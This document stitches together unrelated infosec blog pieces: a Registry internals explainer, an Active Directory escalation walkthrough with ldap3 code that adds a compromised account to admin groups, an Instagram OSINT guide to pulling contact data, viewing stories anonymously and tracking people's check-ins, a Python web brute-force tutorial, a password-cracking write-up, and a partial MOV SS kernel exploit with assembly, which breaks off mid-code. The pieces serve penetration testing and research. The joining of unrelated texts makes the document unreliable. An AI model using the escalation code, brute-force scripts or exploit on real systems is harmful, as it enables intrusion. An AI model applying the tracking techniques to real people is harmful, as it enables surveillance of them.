Industrial control systems underpin modern society and have increasingly come under cyberattack. Watch hackers create a web-connected centrifuge and demonstrate a cyberattack designed to physically destroy them.
To learn more about brute-forcing stay logged in cookies, check out our in-depth episode here: https://youtu.be/YRngT1fP1JA
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆
Our Site → https://www.hak5.org
Shop → http://hakshop.myshopify.com/
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1
Support → https://www.patreon.com/threatwire
Contact Us → http://www.twitter.com/hak5
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆
____________________________________________
Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.
In this post, we'll dig into just how SMB over QUIC works, answer some of the immediate questions around which attacks are feasible, and show how we can repurpose some existing tooling to capture NTLM handshakes.
The Windows Registry is one of the most recognized aspects of Windows. It’s a hierarchical database, storing information on a machine-wide basis and on a per-user basis… mostly. In this post, I’d like to examine the major parts of the Registry, including the “real” Registry.
Looking at the Registry is typically done by launching the built-in RegEdit.exe tool, which shows the five “hives” that seem to comprise the Registry:
RegEdit showing the main hives
These so-called “hives” provide some abstracted view of the information in the Registry. I’m saying “abstracted”, because not all of these are true hives. A true hive is stored in a file. The full hive list can be found in the Registry itself – at HKLM\SYSTEM\CurrentControlSet\Control\hivelist (I’ll abbreviate HKEY_LOCAL_MACHINE as HKLM), mapping an internal key name to the file where it’s stored (more on these “internal” key names will be discussed soon):
The hive list
Let’s examine the so-called “hives” as seen in the root RegEdit’s view.
TotalRegistry showing HKLM\System\CurrentControlSet
The liked key seems to have a weird name starting with \REGISTRY\MACHINE. We’ll get to that shortly.
Other subkeys of note under HKLM include SOFTWARE, where installed applications store their system-level information; SAM and SECURITY, where local security policy and local accounts information are managed. These two subkeys contents is not not visible – even administrators don’t get access – only the SYSTEM account is granted access. One way to see what’s in these keys is to use psexec from Sysinternals to launch RegEdit or TotalRegistry under the SYSTEM account. Here is a command you can run in an elevated command window that will launch RegEdit under the SYSTEM account (if you’re using RegEdit, close it first):
```
psexec -s -i -d RegEdit
```
The -s switch indicates the SYSTEM account. -i is critical as to run the process in the interactive session (the default would run it in session 0, where no interactive user will ever see it). The -d switch is optional, and simply returns control to the console while the process is running, rather than waiting for the process to terminate.
The other way to gain access to the SAM and SECURITY subkeys is to use the “Take Ownership” privilege (easy to do when the Permissions dialog is open), and transfer the ownership to an admin user – the owner can specify who can do what with an object, and allow itself full access. Obviously, this is not a good idea in general, as it weakens security.
The BCD00000000 subkey contains the Boot Configuration Data (BCD), normally accessed using the bcdedit.exe tool.
HKEY_USERS
There are 3 well-known SIDs, representing the SYSTEM (S-1-5-18), LocalService (S-1-5-19), and NetworkService (S-1-5-20) accounts. These are the typical accounts used for running Windows Services. “Normal” users get ugly SIDs, such as the one shown – that’s my user’s local SID. You may be wondering what is that “_Classes” suffix in the second key. We’ll get to that as well.
HKLM\Software\Classes
Looking at the same key under HKEY_CURRENT_USER tells a different story:
HKCU\Software\Classes
Only 46 COM classes provide extra or overridden registrations. HKEY_CLASSES_ROOT combines both, and uses HKCU in case of a conflict (same key name). This explains the extra “_Classes” subkey within the HKEY_USERS key – it stores the per user stuff (in the file UsrClasses.dat in something like c:\Users\
The list of “standard” hives (the hives accessible by official Windows APIs such as RegOpenKeyEx contains some more that are not shown by Regedit. They can be viewed by TotalReg if the option “Extra Hives” is selected in the View menu. At this time, however, the tool needs to be restarted for this change to take effect (I just didn’t get around to implementing the change dynamically, as it was low on my priority list). Here are all the hives accessible with the official Windows API:
All hives
I’ll let the interested reader to dig further into these “extra” hives. On of these hives deserves special mentioning – HKEY_PERFORMANCE_DATA – it was used in the pre Windows 2000 days as a way to access Performance Counters. Registry APIs had to be used at the time. Fortunately, starting from Windows 2000, a new dedicated API is provided to access Performance Counters (functions starting with Pdh* in
Is this it? Is this the entire Registry? Not quite. As you can see in TotalReg, there is a node called “Registry”, that tells yet another story. Internally, all Registry keys are rooted in a single key called REGISTRY. This is the only named Registry key. You can see it in the root of the Object Manager’s namespace with WinObj from Sysinternals:
WinObj from Sysinternals showing the Registry key object
Here is the object details in a Local Kernel debugger:
```
lkd> !object \registry Object: ffffe00c8564c860 Type: (ffff898a519922a0) Key ObjectHeader: ffffe00c8564c830 (new version) HandleCount: 1 PointerCount: 32770 Directory Object: 00000000 Name: \REGISTRY lkd> !trueref ffffe00c8564c860 ffffe00c8564c860: HandleCount: 1 PointerCount: 32770 RealPointerCount: 3
```
All other Registry keys are based off of that root key, the Configuration Manager (the kernel component in charge of the Registry) parses the remaining path as expected. This is the real Registry. The official Windows APIs cannot use this path format, but native APIs can. For example, using NtOpenKey (documented as ZwOpenKey in the Windows Driver Kit, as this is a system call) allows such access. This is how TotalReg is able to look at the real Registry.
Clearly, the normal user-mode APIs somehow map the “standard” hive path to the real Registry path. The simplest is the mapping of HKEY_LOCAL_MACHINE to \REGISTRY\MACHINE. Another simple one is HKEY_USERS mapped to \REGISTRY\USER. HKEY_CURRENT_USER is a bit more complex, and needs to be mapped to the per-user hive under \REGISTRY\USER. The most complex is our friend HKEY_CLASSES_ROOT – there is no simple mapping – the APIs have to check if there is per-user override or not, etc.
Lastly, it seems there are keys in the real Registry that cannot be reached from the standard Registry at all:
The real Registry
There is a key named “A” which seems inaccessible. This key is used for private keys in processes, very common in Universal Windows Application (UWP) processes, but can be used in other processes as well. They are not accessible generally, not even with kernel code – the Configuration Manager prevents it. You can verify their existence by searching for \Registry\A in tools like Process Explorer or TotalReg itself (by choosing Scan Key Handles from the Tools menu). Here is TotalReg, followed by Process Explorer:
TotalReg key handles
Process Explorer key handles
Finally, the WC key is used for Windows Container, internally called Silos. A container (like the ones created by Docker) is an isolated instance of a user-mode OS, kind of like a lightweight virtual machine, but the kernel is not separate (as would be with a true VM), but is provided by the host. Silos are very interesting, but outside the scope of this post.
Briefly, there are two main Silo types: An Application Silo, which is not a true container, and mostly used with application based on the Desktop Bridge technology. A classic example is WinDbg Preview. The second type is Server Silo, which is a true container. A true container must have its file system, Registry, and Object Manager namespace virtualized. This is exactly the role of the WC subkeys – provide the private Registry keys for containers. The Configuration Manager (as well as other parts of the kernel) are Silo-aware, and will redirect Registry calls to the correct subkey, having no effect on the Host Registry or the private Registry of other Silos.
You can examine some aspects of silos with the kernel debugger !silo command. Here is an example from a server 2022 running a Server Silo and the Registry keys under WC:
```
lkd> !silo Address Type ProcessCount Identifier ffff800f2986c2e0 ServerSilo 15 {1d29488c-bccd-11ec-a503-d127529101e4} (0n732) 1 active Silo(s) lkd> !silo ffff800f2986c2e0
Silo ffff800f2986c2e0: Job : ffff800f2986c2e0 Type : ServerSilo Identifier : {1d29488c-bccd-11ec-a503-d127529101e4} (0n732) Processes : 15
Server silo globals ffff800f27e65a40: Default Error Port: ffff800f234ee080 ServiceSessionId : 217 Root Directory : 00007ffcad26b3e1 '\Silos\732' State : Running
```
A Server Silo’s keys
There you have it. The relatively simple-looking Registry shown in RegEdit is viewed differently by the kernel. Device driver writers find this out relatively early – they cannot use the “abstractions” provided by user mode even if these are sometimes convenient.
I recently came across a peculiar scenario that caused me to have to think a little outside the box.
I was able to obtain credentials for an account that was part of the “Account Operators” group. Here is Microsoft’s description of that group:
The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including those of users, local groups, and global groups, and members can log in locally to domain controllers.
Members of the Account Operators group cannot manage the Administrator user account, the user accounts of administrators, or the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Members of this group cannot modify user rights.
While they cannot directly modify the group membership of administrators or built in administrative groups, the can modify any other group. It is not uncommon for Active Directory administrators to create groups outside of the default admin groups, and grant them administrative privileges. These group we can modify as an Account Operator.
While this is easy to do with Active Directory Users and Computers, I had no such access. I did not have shell access on a single Windows machine. While Account Operators can log onto Domain Controllers locally, that does not include Remote Desktop. I had to modify Active Directory group membership using only Linux.
My first course of action was to extract as much domain information as I could using ldapdomaindump.
You use it like so:
ldapdomaindump -u DOMAIN\\USER -p PASSWORD DC
I will then run:
cat domain\_groups.json | grep dn
To get all of the Distinguished Names (DN) for all of the groups.
Based on the Common Name (CN) you should be able to get an idea about what the group does, and if it might grant additional rights.
To actually modify those groups, you can use the ldap3 library.
Just go:
pip install ldap3
After you have that installed, run python.
```
import ldap3
user = "USERNAME"
password = 'PASSWORD'
server = ldap3.Server('DOMAIN')
connection = ldap3.Connection(server, user=user, password=password)
connection.bind() ```
After that is successful, you can now start modifying groups. You will also need the DN of the user account you wish to add ot the group, and you can get that from the LDAP dump also.
Put the user DN and group DN into a variable:
```
user_dn = 'USER_DN' ```
```
groups_dn = "GROUP_DN" ```
Then use this import:
```
from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups ```
Then you can run:
```
addUsersInGroups(connection, user_dn, group_dn) ```
This should now add that user to the specified group. If it fails, it will return False. This means you don’t have permission to modify that group, so try a different one.
To validate that the user was added, you can get a full listing of all that user’s groups by running:
```
connection.search(search_base='DC=DOMAIN,DC=com', search_filter='(&(objectClass=user)(userPrincipalName='+user+'))', search_scope='SUBTREE', attributes='*') ```
With the user variable corresponding to the username.
Then run:
```
for memb in attrs['memberOf']:
print(memb.partition('=')[2].partition(',')[0])
```
This should then print out all the groups that account is a member of. Your newly added group should be in that list.
In my case, I was able to add the compromised account to multiple custom groups, which gave me local admin on most internal servers.
Tweet
After @technisette posted a blog about how to search Instagram, we knew we needed to make a ‘part 2’. So if you’ve got the basics down, here are some extras!
Searching for business account contact details without tools In the first part we talked about retrieving contact details from Instagram business accounts with the help of the Chrome addon Helper Tools for Instagram. This addon can still help you determine if an account is a ‘business’ account or not. Where in the first blog we pointed out that you’ll need a mobile phone in order to actually view the contact details, we’ve got a better solution for you now!
The contact details can also be viewed when logged on to the website! @Sector035 found a way how:
Example of a user ID of the Instagram page of Starbucks Now open a new tab and paste the following URL. Replace “ID” for the ID number you’ve found on your page of interest.
* https://i.instagram.com/api/v1/users/ID/info/
(e.g. https://i.instagram.com/api/v1/users/1034466/info*)
You’ll now be able to see the information that the business account has filled in!
If we look at the example used of Starbucks, your result will look like this:
You’ll see that the ‘is_business’ is set at TRUE and you’ll be able to see email address and phone numberThere is also a lot of other interesting things to be gathered here next to the contact details! Like the ‘instagram_location_id’ for example. If you copy this number and place it behind ‘facebook.com’ (facebook.com/22092443056), it will give you the Facebook-account for Starbucks!
Other things that might be interesting are the exact amount of following/followers and much more. So go and take a peak
Searching for deleted Instagram content We all know that online content can be removed as fast as it was uploaded. So searching for any deleted content might be interesting.
Not that long ago we wrote a blog on how to find deleted content, with a section that specifically explains how to find any social media posts/profiles that have been deleted.
In the blog we refer to Archive.org as a good resource to find older Instagram posts, with an example of the Instagram profile of DJ Hardwell (click here for the archived profile and here for to current profile).
Left: Archive.org
Right: Instagram.com/hardwellWhen looking into any famous people, there is a big chance that there are other accounts mimicking the accounts of famous people. For example; there are multiple accounts of reality star Kim Kardashian where they repost everything she does on Instagram or post everything she posts on Snapchat on an Instagram account.
By looking into these ‘fan accounts’ you might be able to find any data that might have been deleted already.
Another way to search for deleted content is to use Google.
As you might know there are many different websites that also use the posts from Instagram to display on their website. By using a Google Dork you can find websites using Instagram posts and you might be able to find some deleted content. This because those websites might run a little behind on the real Instagram posts.
Use: -site:instagram.com instagram keyword -twitter
-site:instagram = to exclude any results for the website instagram.com
instagram = to focus on Instagram posts
keyword = replace ‘keyword’ by the keyword or username you’re searching for.
-twitter = because Twitter gives a lot of false positives in these results.
Example: -site:instagram.com instagram hardwell -twitter
Example: -site:instagram.com instagram hardwell -twitterOr you could try to set up a web monitoring tool to detect any changes on a website. These kind of tools can capture whatever is changing on the page and this way you won’t miss any posts.
Searching Twitter for Instagram content Another way to find Instagram accounts of people you might be interested in, or any posts related to a specific topic, is via Twitter.
Twitter has changed a lot recently. Luckily @Dutch_osintguy wrote ablog on how to navigate through it all. And there are some great ways to explore Twitter to find Instagram profiles or posts.
First, you won’t need an account for Twitter in order to search Twitter. Just navigate to Twitter.com/explore in order to use the top search bar.
Now in order to search for Instagram content, use the following search queries:
– instagram.com/p (will show tweets containing ‘instagram.com/p’)
– source:Instagram party (will show tweets containing the word ‘party’ with Instagram posts. Change the word ‘party’ into whatever you’re looking for.)
– instagram filter:links (tweets containing an URL and the word ‘Instagram’.)
When executing these queries, make sure to switch to the ‘Latest’ tweets in order to see the most recent posts.
Also, when you’re comfortable searching Twitter, try to ‘query juggle’ and build more comprehensive queries in order to find exactly what you’re looking for. E.g.: instagram.com/p near:Amsterdam within:15mi
Don’t forget to select ‘Latest’ to see the most recent posts!Searching for older photos tagged to a location OSINT Combine has build this pretty awesome search engine to help you find older photos tagged to a location in Instagram (click here).
In the ‘Searching Instagram – part 1‘ we referred to a YouTube video which explains a pretty comprehensive method to calculate this number which you could use to search for older posts tagged to a location. Well, OSINT Combine has solved this problem for you with their search engine. It works pretty easy; just paste the URL of any given Instagram location and adjust the date. Click on the green search icon in order to search, scroll down to the ‘Most recent’ section and voila! There are the Instagram posts you’re interested in!
Attention: Instagram went online on the 24th of Augustus 2011, you won’t find any posts older than this date.
Just type in the hashtag you’re looking for and select (on the right, shown in the red box in the screenshot below) if you’re looking for videos or posts. Select the video-icon in order to just search for videos.
Attention: this will only search for videos, not for Instagram Stories.
Example from Skimagram.comSearching for multiple hashtags Instagram.com doesn’t let you easily search for multiple hashtags. And this might be something you’ll need to do in order to narrow down your relevant results. Although we haven’t run into a special search engine just for this, Google can help you in the mean time.
Use the following Google dork in order to search for multiple hashtags:
Use: inurl:instagram.com/p #summer #amsterdamFor some reason, I sometimes get different results when putting the hashtags within quotation marks. So make sure you try both, just to be 100% sure you’re searching for all possible options. And you can expand this as much as you’d like.
If you’re not sure how a hashtag is spelled or wonder if there are hashtags that include more words, check out Keywordtool.io/instagram. Keywordtool lets you search for just the first letters of a hashtag and it will complete as many possible options. It also indicates how many posts can be found with that specific hashtag.
A bonus is that you can also search Google, YouTube, Bing, Amazon, eBay, Play Store and Twitter.
Example of keywordtool.io/instagramSearching for keywords in an Instagram post In the first post, we suggested to use Google to search for keywords used in the posts. This could be done by using a Google operator (Inurl:instagram.com/p/ “keyword” (replace ‘keyword’ by any keyword you like). Of course, you could use the ‘Tools’ section in Google to select a specific time range.
If you’re looking for another website to do this for you, check out mulpix.com/instagram. This tool gives you also the option to filter between posts and videos. It also gives you some statistic on the used keywords.
Example of mulpix.com/instagramViewing stories anonymously Want to view public stories anonymously? Use stalker-stories.com to view public stories without having to log on to an Instagram account.
Extra bonus is that the website also lets you download the stories.
Stalkerstories.comTracking your ‘following’ The Wired wrote an article about this very interesting app called ‘Who’s In Town?’ This app lets you connect with your Instagram account and you’ll be able to see where your friends (the people you follow) have checked in. On a map you can see where they went (this could include where they live, work. eat, workout, etc). Although this might be interesting in case you want to meet up with people you follow, this could be very interesting from an OSINT perspective. If you have a research account and you follow a specific type of people, this could give you a really nice insight in where they might go and what they might like.
If you might wonder how to create a ‘research account’, click here, we’ve wrote a blog and explain to you what you should take in to consideration.
‘Who’s in Town?’ can be downloaded here (iOS & Android).
Whosintown.appKnowing when your followers/following are most active Let’s say you’ve got a research profile with a lot of followers (must be over 100) and you’re interested in knowing who of them might be most active. Maybe because you can then tailer posts for them or you could figure out more about your target group.
In this case, you could consider switching your Instagram account to a ‘business’ account. This is an option you can do yourself. You won’t need the permission from Instagram to switch on this option.
Here is how you switch it on in your profile (Attention: only possible via the mobile app):
You’re now asked to give some contact details like your email address, phone number, or physical location. This is because when you want to be a ‘business profile’ it is important that your customers can contact you. Be aware that this also means that people who view your profile, can recognise you’re a business account.
If you have one hundred followers or more, you’ll be able to see Insights. Insights are analytics on your followers.
These Insights can tell you when your followers are active, their gender, their age, and much much more. If you are interested, check out this blog by Wordstream explaining how to use your Instagram account for marketing purposes. But keep reading with you ‘osint-glasses’
Statistics on a specific Instagram profile In the first ‘Seaching Instagram’ post, we suggested to use Statflux.com to show you statistics on an Instagram account. In the example in part 1 we used Mark Zuckbergs profile as an example.
But Stalkture.com shows you even more data. Check out the statistics on Zuckerberg’s profile:
Example of Stalkture.com/a/zuck/314216When you scroll down, you won’t only see the ranking statistics, but also the filters used, most popular/commented/liked posts and much more. Give it a spin!
Got any other awesome Instagram tools or trics? We’d love to hear from you!
Just like you we’re looking to get the most out of Instagram so if you have a great source to share, contact one of the writers or post a comment below!
Also check out this Twitter thread by @henkvaness about some handy Instagram tools!
This blog was co-written by @technisette, @Sector035 & @kirbstr.
P.S. Liked this post? Sponsor The OSINT Curious Project via Patreon for as little as $1 per month Thanks!
Finding and exploiting bespoke attacks on web applications is, of-course, exciting… but I find that performing the most simple of attacks, but as efficiently and effectively as possible, can also feel pretty damn rewarding.
In this short post i’ll show you how writing just a few lines of code can have immense gains on web request brute-force attacks, versus using the tools you would probably reach for right now (let’s be honest, it’s Burp).
The task shares huge commonality with offline password cracking; where performance and strategy are everything. Much like a lot of my colleagues who are totally hooked on password cracking, i find the problem of effective web brute-forcing a seriously under-appreciated art.
As a rather contrived example, let’s say we wanted to brute-force Wikipedia pages looking for the word ‘Luftballons’.
We’ll start with our base URL of https://en.wikipedia.org/wiki/0 (that’s a zero), and increment 0 until we find ‘Luftballons’, on page 99.
Lets see that attack in python using the Requests module:
``` import httplib,time, requests
from timeit import default_timer as timer
start = timer()
for x in range(0,100):
r = requests.get('https://en.wikipedia.org/wiki/' + str(x))
if 'Luftballons' in r.text:
print (timer() - start)
``` Execution time: 13.9255948067 seconds. Horrendously slow.
Now, I know what you might be thinking… is Requests too high an API to work at speed? Is it bloated and slow compared to say, using raw sockets or something from the standard libary? Well, absolutely not. For a starter, Request is built on the speedy urllib3, but comes with a bunch of smart benefits we’re already taking advantage of without realising:
The problem then, is we are just using Requests really inefficiently.
It doesn’t seem to be common knowledge, but Burp opens up a new TCP connection for every single Intruder request, which has a huge overhead on long brute-force attacks. This is what our script was doing too. Lets see what happens if we modify it to reuse the same connection:
``` print 'Trying with requests single connection'
start2 = timer()
s = requests.Session()
for x in range(0,100):
r = **s.get**('https://en.wikipedia.org/wiki/' + str(x))
if 'Luftballons' in r.text:
print (timer() - start2)
```
Execution time: 3.16235017776. Much, much faster.
Now if we repeat this attack in Burp, it’ll still have a considerable edge… why? because of threads.
For a short attack like this, Burp’s default of 5 threads keeps it in line with even highly efficient code. But the longer the attack runs, the greater the time wasted to creating new TCP connections. A few hours into an attack and you’ve wasted lots of time.
When Burp says it has 5 thread, what it means is that it can make 5 simultaneous requests via their own connections. But we only have one connection, so lets implement 5 threads that reuse that one connection in our example:
``` import time, requests
from timeit import default_timer as timer
from multiprocessing.dummy import Pool as ThreadPool
start3 = timer()
s = requests.Session()
payloads = []
for x in range(0,100):
payloads.append('https://en.wikipedia.org/wiki/' + str(x))
def worker6(payload):
r = s.get(payload)
if 'Luftballons' in r.text:
print (timer() - start3)
pool = ThreadPool(5)
results = pool.map(worker6, payloads)
pool.close()
pool.join() ```
Execution time: 0.93794298172. Very fast. Under the same conditions, this will stomp all over Burp; and pretty much anything else you can expect to make without considerable effort.
Room for improvement? sure!:
So the main problem with Request, and almost all http libraries, is that they don’t support HTTP Pipelining. HTTP Pipelining is the idea of firing multiple requests through a single TCP connection, without having to wait for each response synchronously. If you look at our last code snippet, it looks like thats exactly what we are doing, but unfortunately we’re not. The Requests library actually locks a TCP connection until it has fully read the response content from the last request. The main reason we are able to get such a big perfomance boost from threads, is that we already have our next requests queued up on the connection and ready to fire the moment it’s available to use by the next worker thread. We’ve effectively just minimised the delay this connection sharing was causing us. Pipelining has its own issues, for example its not supported on all webserver, and connection issues are much harder to deal with if you have bits of multiple requests already in transit.
To get around these limitations but still reap the performance of asynchronous requests, we can do one obvious thing: increase the amount of connections.
We can wrap our last code snippet into 5 threads of its own. This gives us 5 TCP connections, each working as fast as possible to synchronously fire out requests. This is as close we can easily get to HTTP pipelining, but is arguably a far more stable attack.
If you really want to play with true pipelining, take a look at Ruby’s em-http-request.
Hopefully this gives you some ideas of how to script basic, yet efficient, brute-force attacks. Don’t assume that because a tool already exists for a job that it means it does it best. As a pen-tester, time is precious and we need to spend it wisely.
-Hiburn8
Note: So burp has no time measurement feature in Intruder, so I created a hack to figure out roughly how fast burp is at making requests. Essentially, I created a jython plugin which registers an extension-generated payload for use in Intruder. When this plugin is called upon to create a payload, it returns an empty string payload, but logs the current time in microseconds to the plugin console. This doesn’t give us the exact that time requests were issued or completed… but does help us figure out how fast burp is generating requests to send, which, alone, is twice as slow as the last example here in all of my test cases.
While performing a routine internal penetration test, I began the assessment by running Responder in analyze mode just to get an idea of what was being sent over broadcast. Much to my surprise, I found that shortly after running it, a hash was captured by Responder’s SMB listener.
This hash belonged to an account named “panagent,” which I assumed to mean PAN (Palo Alto Networks) agent. I threw the hash into Hashcat and shortly thereafter I was able to recover the plaintext password. Using CrackMapExec, I sprayed these credentials against internal systems within the local network and found that they had administrator access on multiple hosts within the environment.
After gaining admin access on these systems, I performed what is known as the “credential shuffle” until I compromised the credentials for an account within the “Domain Admins” group. So, what happened?
Read the full article posted on the Coalfire Labs blog: The Dangers of Client Probing on Palo Alto Firewalls
Tweet
Crack me if you can write-up 2018
| Active participating members | 15 | | GPUs equivalent to GTX1080 peak | 60 | | GPUs equivalent to GTX1080 constant | 40 | | CPU threads peak | 1300 | | CPU threads constant | 600 | | Contest related Instant Messages sent | ~7000 | | Hash:plain submissions to internal platform | >5300 | | Hash:plain submissions to Korelogic | 2293 |
Members
blazer cvsi espira gearjunkie hops m33x mastercracker milzo jimbas mexx666666 s3in!c usasoft user vetronexe winxp5421
Prep
After hearing news that Korelogic would be awarding bonus points for first unique founds, we took precautions to tune our submission process to ensure we could capitalise on this bonus. To avoid false spam triggers, an alternate email provider that supported bulk inbound/outbound requests was used. In addition, various functions on our hash management platform were disabled and tweaked such that the hash:plain pairs could be processed and uploaded quickly at a constant but not too aggressive rate. We only had a handful of submission troubles which were rectified quickly on our end.
Patterns
It was quite cheeky for Korelogic to use usernames from the competing teams as plaintexts and this was spotted quite early on in our MD5 list. Similarly, they were seen in the SSHA, MD5(unix) lists, we also noticed that each algorithm was assigned a specific range of starting characters. Seeing as that the other teams were getting bcrypts it appeared that these were possible, and this was where all the points were at. While some of our members continued to collect points by exploiting the 4x first unique found bonus for the lower scoring hashes, others worked on trying to get a break on bcrypt hashes using the patterns we spotted. It was not long before we found the starting characters for the bcrypt hashes using the usernames in double combo mode.
Strategy
Once we had the first bcrypt hit, we tried to uncover the complete list of usernames from the plains found in the faster algorithms. After we were confident we had a solid pattern, we brought up many CPU crackers running MDXfind to work solely on bcrypt hashes. It was a little chaotic initially as we tried to figure out the best way to distribute the workload for bcrypt hashes. One of our members then stepped up and became the central point for distributing the tasks but the task distribution and request was still done manually. Soon another member whipped up a semi-automated procedure where each member could request custom tasks from a central distribution list. During our peak we utilised roughly 1300 CPU threads but we had around 600 sustained threads throughout the contest. A small cluster of 16 odroids (XU4) running MDXfind-ARM were also used to attack the bcrypt hashes. Sidenote, it was relatively cheap and efficient to attack bcrypts using ARM cores. Each odroid gave us roughly 50H/s (800H/s in total) for the contest’s bcrypt hashes (cost factor 10) and the cluster in total uses approximately 200W. This results in a efficiency of 4H/s/W.Due to the unfriendly nature of bcrypt on GPU, all GPU resources were reserved for the other 3 algorithms which worked much more efficiently with hashcat GPU. Members were free to decide whether they wanted work on patterns alone which some opted to and devised their own methods and scripts which they used to attack patterns on the algorithms, while other joined the hashtopolis instance which had around the equivalent of 60 GTX1080s.
We were generally quite close score wise with team hashcat and trailed them for the first 15 hours or so into the contest. When one of our members woke up and submitted over 100 unique bcrypts we leapfrogged over hashcat into first place and took a comfortable commanding lead. This was a great morale boost and more CPU instances were placed onto bcrypt as we realized other teams were using different patterns from us and we had identified a very efficient one which yield many hits for little work. Additional patterns were later identified, such as one where popular suffixes (pass01, pass02 etc) were used across all of the algos); though these did not seem as efficient as the username combos.Some stats from our hash management platform showing rate of uploadsMD5(Unix)SSHAMD5 Bcrypt
After thoughts
We do regret not switching over to JTR for a nice bcrypt speedup when more candidates than cores are used due to its bitslice implementation, yielding up to twice the speed over MDXfind. We also failed to spot the full range of starting characters for bcrypt and lost some valuable points there too.
Towards the end we tried to spread the attacks across all the algorithms so we would not only be ranked highest by score but also highest across algorithms. This was quite hard to maintain as it seemed like both team hashcat and john were gaining ground on us. Overall, we were quite impressed with our ability to obtain more unique bcrypt firsts than both john-users and hashcat combined which allowed us to take first place. A massive thanks to Korelogic for hosting the contest once again, we really enjoyed the added twist this year as it gave us all an incentive to constantly submit. A shout out to our competitive rivals, Team Hashcat and john-users for pushing us hard and making us drink that extra cup of coffee to stay up.Looking ahead
We have enjoyed playing CMIYC over the years. So, when presented with the opportunity to create our own password cracking contest we jumped at the idea. In 2019, we will be hosting our own CMIYC style contest at Cyphercon in Milwaukee, WI. We hope all of you will join us for the first “Crackthecon”. As more information about the contest is finalized we will update the contest site crackthecon.com.
Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (@nickeverdox) and Nemanja Mulasmajic (@0xNemi). At the end of the whitepaper they published on triplefault.io, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that’s exactly what I’m going to attempt doing in this post.
Before starting, I would like to note that this exploit will not work on a Virtual Machine as int3 discards #DB under virtualization. I debugged it by “simulating” this situation.
Final source code can be found at the bottom.
0x0: Setting Up the Basics The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed –whether via MOV or POP– until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time.
However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode.
We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling int 3 right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised.
As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted.
All of this can be done in a few lines like shown below:
```
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g\_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64\_End
push 0x33
push X64\_Start
retf
X64\_Start:
\_\_emit 0xf3 ; wrgsbase eax
\_\_emit 0x0f
\_\_emit 0xae
\_\_emit 0xd8
retf
X64\_End:
; Vulnerability
mov ss, word ptr [ g\_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
} ```
This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit.
Now let’s start debugging, we are in KiDebugTrapOrFault with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault->KiGeneralProtectionFault->KiPageFault->KiPageFault->… infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD, so let’s focus on making GSBASE function like the real one and try to get to KeBugCheckEx.
We can utilize a small IDA script to step to relevant parts faster:
```
static main()
{
Message( "--- Step Till Next GS ---\n" );
while( 1 )
{
auto Disasm = GetDisasmEx( GetEventEa(), 1 );
if ( strstr( Disasm, "gs:" ) >= Disasm )
break;
StepInto();
GetDebuggerEvent( WFNE\_SUSP, -1 );
}
} ```
0x1: Fixing the KPCR Data Here are the few cases we have to modify GSBASE contents to pass through successfully:
– KiDebugTrapOrFault
``` KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h ```
Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let’s set it to its initial value, 0x1F80.
– KiExceptionDispatch
``` KiExceptionDispatch:
...
MEMORY:FFFFF8018C20DB5F mov rax, gs:188h
MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8 ```
Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h.
– KiDispatchException
``` KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h] ```
This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it.
``` KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h] ```
0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let’s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &Pcr while on it.
– RtlDispatchException This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and __fastfails if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack and if it doesn’t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do?
There’s a weird check in the middle of the function:
``` char __fastcall KeQueryCurrentStackInformation(_DWORD a1, unsigned __int64 a2, unsigned __int64 *a3)
{
...
